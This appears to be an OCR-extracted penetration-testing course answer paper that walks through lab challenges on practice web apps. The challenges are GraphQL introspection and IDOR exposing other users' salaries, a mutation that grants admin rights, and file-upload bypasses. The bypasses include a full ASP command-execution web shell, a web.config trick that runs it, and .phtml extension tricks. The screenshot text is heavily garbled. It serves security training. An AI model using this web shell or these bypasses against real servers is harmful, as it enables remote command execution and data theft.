[ Forward J | Drop J [ Intercept is on ] Action Comment this ftem W ®

J Raw I Params Y Headers I Hex MSON Beautifier MSON Web Tokens }

1 POST /graphql HTTP/1.1

2 Host: 192.168.200.12:9000

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
4 Accept: */*

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Referer: http://expense.webhacklab.com:3000/viewexpense

8 content-type: application/json

9 authorization: Bearer eyJhbGci0iJIUzI1NiIsInR5cCI6IKpXVCI9.eyl1lbWFpbCIEINYZzZXIxQHdLYmhhY2tsYWIuY29tIi
10 origin: http://expense.webhacklab.com:3000
11 Content-Length: 211

12 Connection: close

=

13
14 {
"query": "query GetExpense($date: String){\n expenses (date: $date){\n date\n
"variables": {
"date":"07-15-2020"
}
}
v
PLS E— = _ >
®{§} €= || 0 matches | \n || Pretty
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Step 4: Create an Introspection query to fetch schema information and send it to the GraphQL

endpoint.

Introspection Query:

{"query":"{__schema{types{name,fields{name}}}}"}

After analyzing the Introspection results, observe that the GraphQL endpoint has a query named

‘'users' which takes an argument called 'ID' as shown in Figure:

Send Cancel <|r >\

Request

Target: http://192.168.200.12:9000  (7)

Response

\ JSON Beautifier | |SON Web Tokens
J Raw I Params I Headers Y Hex

[ POST /graphql HTTP/1.1

P Host: 192.168.200.12:9000

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64;
rv:60.0) Gecko/20100101 Firefox/60.0

4 Accept: */*

5 Accept-Language: en-US,en;q=0.5

6 Accept-Encoding: gzip, deflate

7 Referer:
http: //expense.webhacklab.com:3000/viewexpense

8 content-type: application/json

9 authorization: Bearer
eyJhbGci0iJIUzI1INiIsINR5cCI6IkpXVCI9. eyI1bWFphCIGINn
VzZXIxQHd1YmhhY2tsYWIuY29tIiwiZmlyc3RuYW11lIjoidXNlc
iIsImxhc3RuYW1lIjoib251IiwibW9iaWx1Ijoi0Tg50Dk40Tc3
0SIsImFkZHI1c3Mi01iJ1c2VyIG9uZSBiZXRhIGZsYXQsIGF3acCB
SYWIiLCJzYWxhcnkiOiIyNTAWMCISImlhdCIGMTUSNDgzM]j AwOX
0.eTFtFEAQaPIWULtVLOZ1ZzmFIv0Q90q4nK9cnCR] yFUg

10 origin: http://expense.webhacklab.com:3000

11 Content-Length: 48

12 Connection: close

13

14 |{"query": "{__schema{types{name, fields{name}}}}"[}

T

®{§} EJ | [search...

v
0 matches @ Pretty

J Raw I Headers I Hex MSON Beautifier ]

10 {
"data": {
"__schema": {
"types": [
{
"fialds": [
{
"hame": "expenses"

"name": "users"”

1

{

h
1

g

{

"name": "String",
"fields":null

}
{
"name": "ID",
"fields":null
}
{

.
v

< — — T
®{§}[ﬂ > | |search... 0 matches M Pretty

Daone

1,893 bytes | 274 millis
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Step 5: After analyzing the users query result, observe that sensitive information of the user like

'salary’, 'address', 'mobile number' based on supplied ID was returned, as shown in Figure:

Send || Cancel |[ < v || >+ Target: http://192.168.200.12:9000 7 (7)
Request Response
‘ JSCN Beautifier T JSCN Web Tokens Raw | Headers | Hex | JSON Beautifier]
J Raw T Params I Headers T Hex "name": "date" i

1 POST /graphql HTTP/1.1

2 Host: 192.168.200.12:9000

3 User-Agent: Mozilla/5.0 (X11; Linhux x86_64;
rv:60.0) Gecko/20100101 Firefox/60.0

4 Accept: */*

5 Accept-Language: en-US,en;g=0.5

6 Accept-Encoding: gzip, deflate

7 Referer:

T

"name": "id"

http: //expense.webhacklab.com:3000/viewexpense )

8 content-type: application/json { 5 . nes N

9 authorization: Bearer name": "firstname
eyJhbGeci0iJIUzIINiIsInR5cCI6IkpXVCI9. eyIlbWFphCI6IN }
VzZXIxQHd1YmhhY2tsYWIuY29tIiwiZmlyc3RuYW1lIjoidXNlc { ., . .
iIsImxhe3RUYW1lIjoib251IiwibW9iaWx1Ijoi0Tg50Dk40Tc3 name": "lastname
0SIsImFkZHI1c3Mi0i]1c2VyIG9uZSBiZXRhIGZSYXQsIGF3acCB b
SYWIiLClzYWxhcnkiOiIyNTAWMCISImlhdCIGMTUSNDgzMj AwOX { ., . .
0.eTFtF6A0aPIWULtVLOZ1ZmFI v0Q90q4nK9cnCRj yFUg name": "email

10 origin: http://expense.webhacklab.com:3000 5

11 Content-Length: 48 .

12 Connection: close ' hame": "mobile

13

14|{"query": "{__schema{types{name, fields{name}}}} |}| L “name": "address” b

v < T 7
®{§}&J - | search... 0 matches M Pretty ®{§}@ - | [search... 0 matches M\ Pretty |
Done 1,893 bytes | 274 millis

Step 6: Now craft a GraphQL query to fetch user information based on ID value as shown in Figure:

GraphQL Query:

{"query":"query ($id: ID!){\n users (id:
$id){id\nfirstname\nlastname\nemail\nmobile\naddress\nsalary}\n
}","variables":{"id":"1"}}

send || cancel |[<|v|| >|* | Target: http://192.168.200.12:9000 y{@
Request Response
\ JSON Beautifier [ JSON Web Tokens Raw | Headers | Hex | JSON Beautifier}
J Raw I Params ] Headers [ Hex 2 X-Powered-By: Express i

3 Access-Control-Allow-0Origin: * R
4 Content-Type: application/json; charset=ut
5 Content-Length: 176

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64;
rv:60.0) Gecko/20100101 Firefox/60.0

J L

4 Accept: */* 6 ETag: W/"b0-QnZcGA669FSNOESNYUWIdgDEZXE "

5 Accept-Language: en-US,en;g=0.5 7 Date: Wed, 15 Jul 2020 18:03:32 GMT

6 Accept-Encoding: gzip, deflate 8 Conhnection: close

7|Referer: 9
http: //expense.webhacklah.com: 3000/ viewexpense 10[{

8 content-type: application/json ndata”: {

9 authorization: Bearer "users": [
eyJhhGci01JIUzI1INiIsInR5¢cCIGIkpXVCI9, eyIlbWFpbCIGIn {

VzZXIxQHd1YmhhY2tsYWIuY29tIiwiZmlyc3RuYW1lIjoidXNlc

iIsImxhc3RUYW1lIjoib251TiwibW9iawx1Ijoi0Tg50Dk40Tc3 "firs nar’ne wyigsart

0SIsIMFkZHI1c3Mi0i)1c2VyIG9UZSBiZXRhIGZSYXQSIGF3aCE "lasthame" : "ona",
SYWIiLClzYWxhcnkiOiIyNTAWMCISImlhdCIGMTUSNDgzMjAwOX "email®: "userl@webhacklab.com",
0.eTFtFEAQaPOWULtVLOZ1ZzmFIv0Q90g4nK9cnCR]yFUg "mobile": "9898989779",
10 origin: http://expense.webhacklab.com: 3000 vaddress": "user one beta flat, awh
11 Content-Length: 141 “salary": 25000 !
12 Connection: close }
: 1
14 {"query": }
"query ($id: ID!){\n users (id: $id) {id\nfir }
stname\nlastname\nemail bile\naddress\nsalary}\n ) 1 -'/
1", "variables"}| {"id" "1} v LS V5
®{§}lijw Search... 0 matches | \n || Pretty ® <« w Search... 0 matches | \n || Pretty |
Done 416 bytes | 309 millis
Page: | 54
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Step 7: In order to fetch information of a user with id as '9' simply replace 1" with value '9" as shown

in figure and you can fetch the salary information of that user.

Target: http://192.168.200.12:9000 /|(?)

Send Cancel || < |¥ >
Request Response
| JSON Beautifier X JSON Web Tokens j Raw I Headers I Hex IJSON Beautifier }
J Raw T Params Y Headers I Hex 1 HTTP/1.1 200 0K

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64;
rv:60.0) Gecko/20100101 Firefox/60.0

4 Accept: */*

5 Accept-Language: en-U5,en;g=0.5

6 Accept-Encoding: gzip, deflate

] Referer:

http: //expense.webhacklab.com:3000/viewexpense

content-type: application/json

9 authorization: Bearer
eyJhbGci0iJIUzI1INiIsSINR5cCIGIKpXVCI9. eyl 1bWFpbCIBIN
VzZXIxQHd1YmhhY2tsYWIuY29tIiwiZmlyc3RuYW1lIjoidXNlc
1IsImxhc3RuYW1lIjoib251IiwibW9iaWx1Ijoi0Tg50Dk40Tc3
0SIsImFkZHI1c3Mi01J1c2VyIGOuZSBiZXRhIGZsYXQsIGF3aCB
sYWIiLCJzYWxhcnkiOiIyNTAWMCISImLhdCIGMTUSNDgzM]jAwOX
0.eTFtFEAOaPOWUitVLOZz1zmFIv0Q90q4nK9cnCR]yFUgy

[e1}

y >

origin: http://expense.webhacklab.com: 3000
Content-Length: 141
Connection:

close

{"query":
"query ($id: ID!){\n
sthame\nlasthame\n i

users (id: $id){id\nfir

e\naddress\nsalary}\n

}","variables" {uidu:ugu}

Done

? @ &JEJ Search...

L/
v
0 matches | \n || Pretty

'y
2 X-Powered-By: Express h
3 Access-Control-Allow-Origin: *

4 Content-Type: application/json; charset=ut
5 Content-Length: 185

6 ETag: W/"b9-0IP62+LI8XMT30irYQ2d2rjrjoc"

7 Date: Wed, 15 Jul 2020 18:05:23 GMT

8 Connection: close

10 {
"data": {
"users": [

{

"id": "9,

"firstname": "user",

"lasthame": "nine",

"email": "user9@webhacklab.com",
"mobile": "6512378690",

"address": "nineth user, abc apartm
"salary":81000

: H
} I
b :

— 7 vl
® &JEJ Search...

0 matches | \n | [ Pretty |
425 bytes | 304 millis
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Part 3: Using GraphQL mutation, view expenses of all the users.

Solution:

Step 1: Navigate to 'http://expense.webhacklab.com:3000/login’, enter credentials and click on 'Sign

In'.

@ Expense Tracker - Mozilla Firefox (R E X
Expense Tracker X ‘ +

(— = ¢ @ @ & expense webhacklab.com:3000/login o @ % In @ ¢ =

Please sign in

Email address

user85@mailinator.com

Password

Step 2: Capture the login request and send it to the Burp Repeater.

Dashbeoard Target Proxy Intruder Repeater

Intercept HTTP history WebSockets history Options
f Request to http://192.168.200.12:9000

| Forward || Drop || Action || Open Browser
Raw \n Actions v

POST /login HTTP/1.1

Host: 192.168.200.12:9000

User-Agent: Mozilla/5.0 (X11l; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0
Accept: */*

Accept-Language: en-US,en;qgq=0.5

Accept-Encoding: gzip, deflate

Referer: http://expense.webhacklab.com:3000/1ogin

content-type: application/json

origin: http://expense.webhacklab.com:3000

Content-Length: 56

W=l ®» W WM =

[
2 W

11 Connection: close
12
13 {
"email":"user85@mailinator.com",
"password": "Test@l234"
}
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Step 3: Capture and decode the Base64 JWT token from the HTTP response and observe that the

user role is ‘isAdmin=false’.

m Cancel [,< '\

Target: http://192.168.200.12:9000 /

Request

7S Raw  \n Actions v

1 POST /login HTTP/1.1
2 Host: 192.168.200.12:9000
3 User-Agent: Mozilla/5.0 (X11; Linux x86_64;
4 Accept: */*
5 Accept-Language: en-US,en;q=0.5
6 Accept-Encoding: gzip, deflate
7 Referer: http://expense.webhacklab.com:3000/1ogin
8 content-type: application/json
9 origin: http://expense.webhacklab.com:3000
10 Content-Length: 56
11 Connection: close
12
13 {
"email": "user85@mailinator.com",
"password": "Test@l234"

rv:60.0)

¥

/ E2Mj I2MTAYMT19. gshFYLWadIyLeXpiW3t4gDOVpR50r3rmd Ybkm

Response
Pretty [GEVWA Render

1 HTTP/1.1 200 OK

2 X-Powered-By: Express

3 Access-Control-Allow-0Origin: *

4 Content-Type: application/json; charset=utf-8

5 Content-Length: 329

6 ETag: W/"149-1i9wj/iuNOVORVYwXHDgkXkszAXA"

7 Date: Wed, 02 Jun 2021 05:03:39 GMT

8 Connection: close

9
10 {"token":
"eyJhbGc101JIUZIINiISINR5cCI6IkpXVCI9. eyIpZCI6M] YyLC
J1bWFpbCI6INVZZXI4NUBtYWlsaW5hdGOyLmNvbSIsImZpcnNObm
FtZSI6I1VzZXI4NSIsImxhc3RuYW11Ijoi0DUiLCIth2IpbGUi0i
IXMjMONTY30DkwIiwiYWRkcmVzcyI6I1VuaXR1ZCBLaW5nZGotIi
wic2FsYXJ5IjoiMjAwMCIsImlzQWRtaW4i0mZhbHN1LCIpYXQi0j

\n Actions v

dFv3HY"}

"mobile": "1234567890", "address": "United

Kingdom", "salary": "2000"

{"alg": "HS256", "typ": "IWT"}{"id":262, "emaMsemS@mailinator. com", "firstname": "User85", "lastname": "85",

"iat":1622610219}2EE" p[t[yzb [ {x(30¥t " za%Ja[No

Step 4: Navigate to the ‘ViewExpense’ page and observe that you can view the expenses added by

you
Expense Tracker X l +
(— - G @ @ #& expense.webhacklab.com:3000/viewexpense e @ I e @ $ =

Select Date

|

| 06/02/2021
Date Title Description Amount
06-02-2021 Laptop Laptop Purchase 2000
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Step 5: Create an Introspection query to fetch GraphQL schema information and send it to the
GraphQL endpoint.

Introspection Query:

{"query":"{__schema{types{name,fields{name}}}}"}

After analysing the HTTP Response of the Introspection query, it can be observed that the GraphQL
endpoint will have mutations named ‘addExpense’ and ‘updateUser’

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

1 POST /graphql HTTP/1.1 B 1,

2 Host: 192.168.200.12:9000 {

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 "name":"ID",
Firefox/60.0 "fields":null

4 Accept: */* Jio

5 Accept-Language: en-US,en;q=0.5 {

6 Accept-Encoding: gzip, deflate "name": "Mutation”,

7 Referer: http://expense.webhacklab.com:3000/addexpense 1elds™:

8 content-type: application/json {

9 authorization: Bearer "name": "addExpense”
eyJhbGci0iJIUzIINiIsInR5cCI6EIkpXVCI9.eyIpZCIGMTESImVEYWLsIjoidXNlcjIl }
NEB3ZWJoYWNrbGFilmNvbSIsImZpcnNObmFtZSI6InVZzZXIxIiwibGFzdG5hbWUiOiIil {
CJth2JpbGUi0iI40Dk50Dg3NzY3IiwiYWRkemVzcyI6InVzZXIyNTRA2ViaGF ja2xhYi "name”: "updateUser"”
53h20ilL.CIzYWxhcnki0iIilCIpYXQi0jE2MTI30Dg3NTVY . GDXvIxZwqXgZFySk5irLaz }
QYe228EuIu2rodTgoW_KM 1

10 origin: http://expense.webhacklab.com:3000 1,
11 Content-Length: 48 {
12 Connection: close "name":"Int",
13 "fields" :null
14{{"query”:"{__schema{types{name, fields{name}}}}"} },
{
L "name": "expense",
L "fields": T

Step 6: To fetch mutation schema information, send the below mutation query to the GraphQL

endpoint.

Introspection Mutation Query:

{"query":"{ __schema{mutationType{name,fields{name,args{name}}}}}"}

Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

1 POST /graphql HTTP/1.1 B ]

2 Host: 192.168.200.12:9000 }

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101
Firefox/60.0 I"'name" : "updateUser", |

4 Accept: */* targs’ |

5 Accept-Language: en-US,en;q=0.5 {

6 Accept-Encoding: gzip, deflate ‘name": " firstname”

7 Referer: http://expense.webhacklab.com:3000/addexpense +

8 content-type: application/json {

9 authorization: Bearer ‘'name” : "lastname"”
eyJhbGci0iJIUzIINiIsInR5cCI6IkpXVCI9.eyIpZCI6MTESImVtYWlsIjoidXNlcjIl }
NEB3ZWJoYWNrbGFilLmNvbSIsImZpcnNObmFtZSI6InVzZXIxIiwibGFzdG5hbWUiOLiTil {
CJtb2JpbGUi0iI40Dk50Dg3NzY3IiwiYWRkemVzcyI6InVzZXIyNTRAd2ViaGFja2xhYi ‘name" : "mobile"
5jb20iLCIzYWxhenki0iTil CIpYXQi0jE2MTI30Dg3NTVI . GDXvIxZwgXgZFySk5irlaz +
QYe228Eulu2rodTgoW_KM {

10 origin: http://expense.webhacklab.com:3000 ‘name": "address”
11 Content-Length: 66 }
[12 Connection: close {

3 ‘name":"salary"
14 {"query":"{__schema{mutationType{name, fields{name,args{name}}}}}"} +
{

L ‘name": "isAdmin"
v b

NotSoSecure part of Page: | 58

claranet cyber security

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Note: After analyzing the ‘updateUser’ mutation information in HTTP Response, it can be observed
that the user information like ‘firstname’, 'salary’, ‘address’, 'mobile number' and user role
'isAdmin‘'can be updated.

Step 7: Craft a GraphQL query to update user role ‘isAdmin=True’ value as shown in Figure:

GraphQL Query:

{"query":"mutation{\n updateUser(firstname: \"user\", lastname: \"updated\",
mobile: \"00000000OO\", address: \"AWH\", salary: \"2500\", isAdmin: true){\n
isAdmin\n }\n}"}

Request Response

Raw | Params Heﬂders[Hex Raw | Headers | Hex

1 POST /graphql HTTP/1.1 2

2 Host: 192.168.200.12:9000 2 X-Powered-By: Express

3 User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:60.0) Gecko/20100101 Firefox/60.0 3 Access-Control-Allow-Origin: *

4 Accept: */* 4 Content-Type: application/json; charset=utf-8

5 Accept-Language: en-US,en;q=0.5 5 Content-Length: 42

6 Accept-Encoding: gzip, deflate 6 ETag: W/"2a-uRrdEAWn/d18/iIQmmyhBgs+3JE"

7 Referer: http://expense.webhacklab.com:3000/viewexpense 7 Date: Tue, 09 Feb 2021 09:23:18 GMT

% content-type: application/json % Connection: close

9 authorization: Bearer
eyJhbGci0iJIUzIINiIsInRScCIEIkpXVC]9 . eyIpZCI6MSwiZW1lhaWwi0il 1c2VyMUB3ZWIoYWN rbGFi 19 {
LmNvbSIsImZpcnNObmFtZSI6InVzZXIilCIsYXNObmFtZSI6ImIuZSIsImlvYmlsZSI6Ijk40Tg50Dk3N “data":{
zkilLCIhZGRyZXNzIjoidXNlciBvbmUgYmVOYSBmbGFOLCBhd2ggbGFiliwic2FsYXI5IjoiMjUwMDALLC "updateUser":{
JpcOFKkbWLUIjpmYWxzZSwiaWFOIjoxNjEy0DYx0TA4fQ.bxdbDfkB7C6F-RV20PsW2PqxYbUT3W_ROPDe "isAdmin":false
z1SBTSg }

10 origin: http://expense.webhacklab.com:3000 }

11 Content-Length: 173 }

12 Connection: close 1

3

14 {"query":

"mutation{\n updateUser(firstname: \"user\", lastname: \“"one\", mobile: \"989898
9779\", address: \"user\", salary: \"25000\", {\n isAdmin\n }\n}
"}

s

Step 8: Logout and login again with the same user.

@ Expense Tracker - Mozilla Firefox

Expense Tracker X ‘ +

(— > ¢ 0% @ #| expense.webhacklab.com:3000/login e w N 60 2urp) $ =

Please sign in

Email address

user85@mailinator.com

Password
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Step 9: Capture and decode the Base64 JWT token from the HTTP response and observe that the

user role is ‘isAdmin=true’

Target: http://192.168.200.12:9000 /

Request

7S48 Raw  \n  Actions v

POST /login HTTP/1.1

Host: 192.168.200.12:9000

User-Agent: Mozilla/5.0 (X11; Linux x86_64;
Accept: */*

Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate

Referer: http://expense.webhacklab.com:3000/1login
content-type: application/json

9 origin: http://expense.webhacklab.com:3000

10 Content-Length: 56

11 Connection: close

rv:60.0)

D~ WN B

13 {
"email": "user85@mailinator.com",
"password": "Test@l234"
}

/ wiaWFOIjoxNjIyNjEwNjE1fQ.0cEKB-Sd45hMgAwVy IKYNH71i1xK

Response

Pretty Render \n Actions v

1 HTTP/1.1 200 OK
2 X-Powered-By: Express
3 Access-Control-Allow-0Origin: *
4 Content-Type: application/json; charset=utf-8
5 Content-Length: 287
6 ETag: W/"11f-ERjxc2BGlU7u/N4mznDo49sXK18"
7 Date: Wed, 02 Jun 2021 05:10:15 GMT
8 Connection: close
9
10 {"token":
"eyJhbGci0iJ IUZI1NiISINR5cCI6IKpXVCI9. eyIpZCI6M] YyLC
J1bWFpbCI6INVZzZXI4NUBtYWlsaW5hdG9yLmNvbSIsImZpcnNObm
FtZSI6ImMiLCIsSYXNObmFtZSI6ImIilCItb2IpbGUi0iJiTiwiYW|
RkemVzcyI6ImIilCIzYWxhcnki0iJiIiwiaXNBZG1lpbiI6dHI1ZS

4x5bw9 unM4KhP 0"}

{"alg":"HS256", "typ": "IWT"}{"id":262, "emai
"mobile":"b", "address":"b", "salary": "b"
*NGO\Ja[AU0§3[;

5@mailinator.com", "firstname": "c", "lastname": "b",

rg
"iat":1622610615}] Rwja2 OW"

Step 10: Navigate to ‘ViewExpense’ and observe that you can view the expenses of all the users.

Expense Tracker X ‘ +
6 = ¢ @ & expense.webhacklab.com:3000/viewexpense v @ I E@ $ =
\/biéwfbiprens‘e

Select Date

| 06/02/2021
Date Title Description Amount
06-11-2020 Laptop charger HP Laptop Charger fr... 2000
04-13-2021 Expensel Expensel 5000
05-27-2021 Mobile Phone Mobile repairs 1000
05-27-2021 Phone Mobile phone 500
05-27-2021 qwertyu gwertyui 64532
05-27-2021 Phone Mobile phone 500
05-27-2021 Monitor Samsung Ultrawide ... 1499
05-27-2021 Test Expense Test 2000
06-02-2021 Laptop Laptop Purchase 2000

1to9of 9 1< < Pagelofl > I

NotSoSecure part of

claranet cyber security

Page: | 60

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Module: Tricky file uploads

Bypassing File Validations #1

Challenge URL: http://topup.webhacklab.com/Account/Profile
e Identify the upload functionality and abuse it to upload a web shell.
Solution:

Step 1: Login into the topup application and navigate to the profile update page. The profile update

page allows the user to upload a profile picture.

..

Browse...

No file selected.

") ® topup.webhacklab.com/Account/Profile UN  Exq
"ESECURE HOME TOPUP VOUCHERS SHOP SANJAY@NOTSOSECURE.COM
Profile

Name Mobile

Sanjay 8128595057

Question Password Answer

Testing material it

Profile Image Membership

Bronze

Billing Address
Address

UPDATE

NotSoSecure part of
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Step 2: The application being developed in ASP.NET, try to upload an ASP file (test.asp) with the

following content.

<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function

%>
<HTML>
<BODY>
<FORM action="" method="GET">
<input type="text" name="cmd" size=45 value="<%= szCMD %>">
<input type="submit" value="Run">
</FORM>
<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>
</BODY>
</HTML>
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The application does not accept the asp file, as shown below:

Cancel <|v >|v

Go |
Request

Raw | Params | Headers | Hex

Target: http://topup.webhacklab.com L:J EJ

36bYpJAzZALhYNEPTDHI

X-Requested-With: XMLHttpRequest

Content-Type: multipart/form-data; boundary=-- -
Content-Length: 1315

Connection: close

Coockie: ASPSESSIONIDAASQSACT=GGJJJJKAGMHHGKMOKKNKMHCO

—————— 17992177847360622811492950047

Content-Disposition: form-data; name="profileimg"; filename={"shell.asp"

Content-Type: text/xml

<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput (theCommand)
Dim objShell, objCmdExec

yZ553ib20iLCIpc3Mi0iJodHRWOLBYbGY J¥YWxob3N0OjUINDMyLyIsImV4cCI6MTUIMTASMTUZNSwibmImI joxNTQ50Dgx0TM1£Q.gqQEu-E_2ha60ivudfbpwkeI9

17992177847360622811492950047

E

? ] < + > | ht(p:,'jtopup.webhar_klab.com,'api,‘user,'l[
Response

Raw | Headers | Hex

0 matches

HTTP/1.1 400 Bad Request
Cache-Control: no-cache

Pragma: no-cache

Content-Type: application/json; charset=utf-8
Expires: -1

Server: Microsoft-IIS/10.0
X-AspNet-Version: 4.0.30319
X-Powered-By: ASP.NET|

Date: Mon, 11 Feb 2019 11:34:40 GMT
Connection: close

Content-Length: 23

"unsupported file type"

T

w NotSoSecure part of
claranet cyber security

Page: | 63

© Claranet Cyber Security 2021. All rights reserved



NSS Training — AWH 5D Answer Paper

Step 3: Try to upload other file extension config (web.config) using the following content. The

application will accept the config file. Refresh the Profile page and access the URL by right-clicking

on ‘Copy Image Location’. Add a parameter to the URL and provide the command that you wish to

execute and the page will display the output.

<?xml version="1.0" encoding="UTF-8"?>
<configuration>
<system.webServer>
<handlers accessPolicy="Read, Script, Write">

<add name="web_config" path="*.config" verb="*" modules="IsapiModule"
scriptProcessor="%windir%\system32\inetsrv\asp.dll" resourceType="Unspecified"

requireAccess="Write" preCondition="bitness64" />
</handlers>
<security>
<requestFiltering>
<fileExtensions>
<remove fileExtension=".config" />
</fileExtensions>
<hiddenSegments>
<remove segment="web.config" />
</hiddenSegments>
</requestFiltering>
</security>
</system.webServer>
</configuration>

<%
Set oScript = Server.CreateObject("WSCRIPT.SHELL")
Set oScriptNet = Server.CreateObject("WSCRIPT.NETWORK")
Set oFileSys = Server.CreateObject("Scripting.FileSystemObject")
Function getCommandOutput(theCommand)
Dim objShell, objCmdExec
Set objShell = CreateObject("WScript.Shell")
Set objCmdExec = objshell.exec(thecommand)
getCommandOutput = objCmdExec.StdOut.ReadAll
end Function
%>

<HTML>
<BODY>
<FORM action="" method="GET">

NotSoSecure part of
Claranet Cyber secu I’ity © Claranet Cyber Security 2021. All rights reserved

Page: | 64




NSS Training — AWH 5D Answer Paper

<input type="text" name="cmd" size=45 value="<%= szCMD %>">

<input type="submit" value="Run">

</FORM>

<PRE>
<%= "\\" & oScriptNet.ComputerName & "\" & oScriptNet.UserName %>
<%Response.Write(Request.ServerVariables("server_name"))%>
<p>
<b>The server's port:</b>
<%Response.Write(Request.ServerVariables("server_port"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("server_software"))%>
</p>
<p>
<b>The server's software:</b>
<%Response.Write(Request.ServerVariables("LOCAL_ADDR"))%>
<% szCMD = request("cmd")
thisDir = getCommandOutput("cmd /c" & szCMD)
Response.Write(thisDir)%>
</p>
<br>

</BODY>
</HTML>

Send Cancel <|v 2l Target: http:h’topup.webhacklab.com| ’;7 ®

Request
| [Raw | Params | Headers | Hex | JWs |

9 X-Requested-With: XMLHttpRequest 4

10 Content-Length: 2185 l:

11 Content-Type: multipart/form-data;

boundary=------------ooiaa 14632708061159860150529954137 [
|

L o e 14632708061159860150529954137
15 Content-Disposition: form-data; name="profileimg"; |'fi'|.ename="web.config" |
16 Content-Type: application/octet-stream

17
@{5} EJ | [search... 0 matches M Pretty

Response

jRaW I Headers IHex I Render ]

[~ 5 Pragma: no-cacne

4 Content-Type: application/json; charset=utf-8
5 Expires: -1

6 Server: Microsoft-IIS/8.5

7 X-AspNet-Version: 4.0.30319

8 X-Powered-By: ASP.NET

9 Date: Thu, 23 Jul 2020 10:05:03 GMT

10 Connection: close

11 Content-Length: 31

TV,

12
13| "Profile uploaded successfully"

K
®{§} EJB Search... 0 matches @ Pretty
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Step 4: Shell is uploaded and accessible.

|_ i . topup‘webhaCkIab'Comlconter x

Run

\\DESKTOP-16KNB1C\IUSRtopup.webhacklab.com

The server's port:
80

The server's software:
Microsoft-IIS/10.0

The server's software:
192.168.1.102

&« C @ @ topup.webhacklab.com/content/images/profile/d112423e-b19e-4403-b003

Step 5: Execute the command “whoami” and check the output.

_ i topup.webha‘:klablcomlconter x

whoami Run

\\DESKTOP-16KNB1C\IUSRtopup.webhacklab.com

The server's port:
80

The server's software:
Microsoft-IIS/10.0

The server's[softwarer—"
192.168.1.102iis apppool\topup

)= C o ® topup.webhacklab.com/content/images/profile/d112423e-b19e-4403-b003
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Bypassing File Validations #2

Challenge URL: http://shop.webhacklab.com/feedback.php

e Bypass the file validation checks to upload a web shell (userX.fileextension) and

execute commands on the host.
Solution:

Step 1: Navigate to the feedback functionality of the shopping application which allows uploading of
files. The functionality asks the user to upload an image file only. Upload an image to the application
and notice the image path. Try to upload a file with a non-image extension (e.g. php), the application

prompts a message “Only jpg/jpeg and png files are allowed”, as shown below:

< (€8 O shop.webhacklab.com/feedback.php

File Validation

Only jpg/jpeg and png files are allowed!

==
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Step 2: To bypass this client-side restriction, upload an image file with extension jpg/jpeg or png and
intercept the request. In the intercepted request change the value of the filename from image.png to

testX.php, also change the content of the image to php content:

<html>
<head>
<title>PHP Sample</title>
</head>
<body>
<?php echo '<p>Hello World</p>'; ?>
</body>
</html>

Step 3: The response shows that the php file was uploaded:

m Cancel Target: http://shop.webhacklab.com /
Request ol = b
Pretty \n Actions v Select extension... Vv
34 test
L R 323342206214313208971134275914L
36 Content-Disposition: form-data; name="fileName"; filenamed"testlO.php"
37 Content-Type: image/png
36
3% <html=
4% <head=
4 <title>PHF Sample</title>
41 </head=
4%  <body>
44 <?php echo '<p=Hello World</p='; ?=>
4%  </body>
44 </html>
A1

B I R 323342206214313208971134275917

49 Content -Disposition: form-data; name="submit"

50
®{§} | (—”—) H Search... 0 matches
Response

Mo Raw Render \n Actions v Select extension... Vv
1220

157

158

159

160 kocrint tyne-'text/javascript's

Failure()
FE=A= JI.|_)L

®@ “« > H Search... 0 matches
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Step 4: Try to navigate to the uploaded ‘testX.php’ file. The PHP is not present at the server,
suggesting there is some server-side restriction as well. Replicating the method in Step 1, let’s try

some alternate file extensions such as php3/4/5, pht, phtmi:

f Request to http:/fshop.webhacklab.com:80 [192.168.200.10]

. Forward || Drop | " Intercept is on | [ Action | {

J Raw T Params T Headers T Hex ]

33 Service Issue

g 10110907812024368871995541695

35 Content-Disposition: form-data; name="fileName"; [filename="testl0.phtml"
36 Content-Type: image/png
37
38|<html>

39| <head>

40| <title>PHP Sample</title>

41| </head>

42| <hody>

43| <?php echo '<p>Hello World</p>'; 7>
44| </body>

45|</html>

AB mmmm e - 10110907812024368871995541695
47 Content-Disposition: form-data; name="submit"

Step 5: Now try to access the uploaded php files with alternate file extensions. You will notice that

the PHTML file exists and renders the content, as shown below:

http://shop.webhacklab.com/images/feedback/testX.phtml

MNotSoSecure Sports Shop ¥ | PHP Sample x |+

(— - G @ (© shop.webhacklab.com/images/feedback/test10.phtml

